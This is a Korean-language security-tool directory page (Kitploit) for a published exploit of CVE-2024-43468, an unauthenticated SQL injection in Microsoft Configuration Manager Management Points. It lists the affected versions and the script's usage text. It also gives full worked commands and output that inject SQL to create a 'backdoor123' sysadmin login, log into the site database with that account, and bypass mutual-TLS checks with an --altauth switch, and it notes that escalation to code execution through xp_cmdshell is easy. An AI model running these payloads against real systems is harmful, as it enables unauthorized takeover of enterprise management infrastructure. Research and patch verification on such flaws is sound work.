Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-43468 — CVE-2024-43468 익스플로잇: Microsoft Configuration Manager 관리 포인트에서 인증되지 않은 SQL 인젝션으로, 임의 SQL 실행과 xp_cmdshell을 통한 sysadmin 권한 상승을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/synacktiv/cve-2024-43468
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubsynacktiv/cve-2024-43468

CVE-2024-43468

CVE-2024-43468 익스플로잇: Microsoft Configuration Manager 관리 포인트에서 인증되지 않은 SQL 인젝션으로, 임의 SQL 실행과 xp_cmdshell을 통한 sysadmin 권한 상승을 가능하게 합니다.

저장소 보기
96134개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Microsoft Configuration Manager (ConfigMgr / SCCM) 2403 인증되지 않은 SQL 인젝션 (CVE-2024-43468) 익스플로잇

이 스크립트는 CVE-2024-43468 취약점을 익스플로잇합니다. 이 취약점은 인증되지 않은 공격자가 Management Point에 네트워크 접근 권한이 있을 때 사이트 데이터베이스에서 임의의 SQL 쿼리를 실행할 수 있도록 합니다.

쿼리는 MP 머신 계정 ID로 실행되며 sysadmin 역할이 부여되므로, SQL 인젝션을 (예: xp_cmdshell 사용) 원격 코드 실행으로 승격시키는 것은 간단합니다.

KB29166583이 누락된 경우, 다음의 모든 Microsoft Configuration Manager 버전이 취약합니다:

  • < 2403 (5.00.9128.1024)
  • < 2309 (5.00.9122.1033)
  • < 2303 (5.00.9106.1037)
  • <= 2211 (*)

자세한 내용은 https://www.synacktiv.com/advisories/microsoft-configuration-manager-configmgr-2403-unauthenticated-sql-injections 에서 제공되는 관련 권고를 참조하십시오.

요구사항

  • 경우에 따라, 관리 지점이 HTTPS Only 통신 모드로 구성된 경우, 취약한 HTTP 서비스에 대해 상호 TLS 인증을 수행하려면 PKI 인증서가 필요합니다. 내부 PKI에서 Client Authentication 용도로 발급된 모든 인증서가 작동합니다.
  • 인증서가 없는 경우, --altauth 스위치를 사용하십시오 (자세한 정보는 여기)

사용법

root@kitploit:~
$ python3 CVE-2024-43468.py --help
usage: CVE-2024-43468.py [-h] -t TARGET -sql SQL [-machineid MACHINEID] -k KEY -c CERT

SCCM LocationMgr (MP_Location) 인증되지 않은 SQL 인젝션 - CVE-2024-43468

options:
  -h, --help            도움말 메시지를 표시하고 종료
  -t TARGET, --target TARGET
                        대상 (http[s]://sccm-mp.local/)
  -sql SQL              MachineID SQL 인젝션을 통해 실행할 쿼리 (예: create login user123 with password = 'p4sswOrd' ; exec master.dbo.sp_addsrvrolemember 'user123', 'sysadmin' )
  -machineid MACHINEID  ContentID를 통한 두 번째 SQL 인젝션에 사용할 유효한 MachineID
  -k KEY, --key KEY     상호 TLS를 위한 개인 키 파일
  -c CERT, --cert CERT  상호 TLS를 위한 인증서 파일

  • 새 관리자 사용자 생성
root@kitploit:~
$ python3 CVE-2024-43468.py -t http://sccm.local -sql "create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin'"
>>>> Header <<<<<
<Msg ReplyCompression="zlib" SchemaVersion="1.1"><Body Type="ByteRange" Length="556" Offset="0" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name="zlib-compress" /></Hooks><ID>{00000000-0000-0000-0000-000000000000}</ID><Payload Type="inline"/><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:dummyEndpoint:LS_ReplyLocations</ReplyTo><TargetAddress>mp:[http]MP_LocationManager</TargetAddress><TargetEndpoint>MP_LocationManager</TargetEndpoint><TargetHost>http://sccm.local</TargetHost><Timeout>60000</Timeout><SourceID>GUID:3b47a05a-db2e-40ef-8c77-cf29dac2ca1e'; create login backdoor123 with password = 'P@sswOrd1'; exec master.dbo.sp_addsrvrolemember 'backdoor123', 'sysadmin' ; select '1 </SourceID></Msg>

>>>> Request <<<<<
<UpdateSFRequest><Package ID="UID:060cb19a-4dde-4c6a-b08b-7fee96c4824b" Version="1"></Package><ClientLocationInfo><BoundaryGroups><BoundaryGroup GroupID="1" GroupGUID="00000000-0000-0000-0000-000000000000" GroupFlag="0"/></BoundaryGroups></ClientLocationInfo></UpdateSFRequest>


>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--
  • 그 후, 새로 생성된 관리자로 SCCM 데이터베이스에 접속합니다.
root@kitploit:~
$ mssqlclient.py  -debug './backdoor123:P@sswOrd1'@sccm-db.local
SQL (backdoor123  dbo@master)> use CM_ABC
SQL (backdoor123  dbo@CM_ABC)> select Name0 from v_R_System
Name0
------
DC
  • Management Point가 클라이언트 인증서를 요구하는 경우 mTLS를 사용합니다.
root@kitploit:~
$ python3 CVE-2024-43468.py -t https://sccm.local -sql "..."
[...]
>>>> Response : 403 Client certificate required <<<<<
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

$ python3 CVE-2024-43468.py -k any_client1.key -c any_client1.pem -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--

altauth 세그먼트로 mTLS 인증 우회 (자세한 정보는 여기)

root@kitploit:~
$ python3 CVE-2024-43468.py --altauth -t https://sccm.local -sql "..."
>>>> Response : 200 <<<<<
--aAbBcCdDv1234567890VxXyYzZ
content-type: text/plain; charset=UTF-16

ÿþNoReply
--aAbBcCdDv1234567890VxXyYzZ--

참고 자료

  • https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43468
도구 다운로드